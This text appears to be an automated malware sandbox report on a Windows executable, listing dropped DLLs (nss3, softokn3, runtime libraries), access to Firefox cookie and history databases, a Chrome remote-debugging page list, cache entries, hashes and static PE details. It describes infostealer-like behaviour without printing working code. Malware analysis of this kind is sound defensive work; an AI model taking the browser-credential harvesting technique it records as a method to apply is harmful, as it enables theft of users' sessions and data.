Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.362766583577603
Encrypted:	false
SSDEEP:	48:SfNaoQBTEQZfNaoQFgFQafNaoQhQwfNaoQjlM0UrU0U8Qjl:6NnQBTEQ1NnQAQiNnQhQ8NnQjlM0UrUx
MD5:	E8748B1C50FAE4B2F2DFACC97ACAEA9A
SHA1:	DC6587984FBDAB3986B2E672B60713223D33E687
SHA-256:	2339CA10B1D8482289810E02A4BF2AD88295FD4916B641CA14E5C73A94BF76E7
SHA-512:	026A6D1B96CFB52E6996D105AC81FF68E77BADCE3D9E4D07985C56025CC71C30B828246658304F3F69A9E4B22966B2535B4DB66945D1B0F90F5703052DC0E597
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F6C356FD3272D45F79CDCF3BC774229C",.. "id": "F6C356FD3272D45F79CDCF3BC774229C",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F6C356FD3272D45F79CDCF3BC774229C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/4CF555AC5FACFDCC625D72D6A76F40B2",.. "id": "4CF555AC5FACFDCC625D72D6A76F40B2",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/4CF555AC5FACFDCC625D72D6A76F40B2"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (824)
Category:	downloaded
Size (bytes):	829
Entropy (8bit):	5.177194786022628
Encrypted:	false
SSDEEP:	24:9a0aMgZtb2BHslgT9lCuABuoB7HHHHHHHYqmffffffo:9a3ZMKlgZ01BuSEqmffffffo
MD5:	F44F010B4956C71FE6BAECE89C495F37
SHA1:	933A4F78C1C5105354F2FE5A4418D3FC93453E71
SHA-256:	4268367C5AF1F18D7C35A70B5D506A81BB366AD73981A2E002CA47CC2E803517
SHA-512:	6B7DA5FE1EB1AD466639FD3BFCF3A8FE29D1F0B89B31C951265969671D1BF199F077C5C96A1A47BC94AED53A44D199BE27E1E40EF2B004AA47E1AD7459093D77
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["king gizzard and the lizard wizard tour","tyrone tracy jr injury update","metronet outages","monster hunter wilds open beta test","water main break somerville nj","nfl power rankings week 9","nepal vs bangladesh live football match","airlines refund cancelled flights"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133762
Entropy (8bit):	5.436604410821192
Encrypted:	false
SSDEEP:	3072:2PIvjxd0QniyZ+qQf4VBNQ0pquvx7U+OUaKszQ:EIvv0yTVBNQ0p9vxI+ORQ
MD5:	8E0F89A6AB6DF7049A0B420CEA2DAA7C
SHA1:	2554C295D50A5A9D43D0F2AB3F48E04B81723190
SHA-256:	3082052B1864FEBD6EE15D5044CDE02B54F5C1B16160CF8A4AA7D32325A454B3
SHA-512:	6B33AC8A033F9FAF8BEDAB8E80357FF73E7D5C148179BF47655EF2E1B851081CE3A2465F2C98E7C56574D773DEC8C63DAC824D047150CC1542426C6809C4EA6D
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.962067618715034
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'078'720 bytes
MD5:	46c95e73e7f395f0e6d8a85e119d7542
SHA1:	60e4403cf09f9afbffa2b56299e2caaf0d904bb6
SHA256:	4b451122e63405968db447901df6235c68fc6832899a52bbd296b0278ef56761
SHA512:	5fb73e257abfaef3e1c62e5c66c9fea8c33b118be7faefca1eb2581068a239773ceff2fac53b9ecc5b34fc010dee6cf774d6a33ea947be89879a603d46603543
SSDEEP:	49152:NV1jd0TiM4wL13LtMZIk7EPjxQT28F/0oC0tdTw/pNh:NLjuTiXw1xOhThztc/p
TLSH:	B7A5336F7D29A305F24312354462C3C957E9F2F66B6DA83CA7419F980C625D28E78B38
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb07000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F62C06656BAh
setbe byte ptr [edi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, byte ptr [00000000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
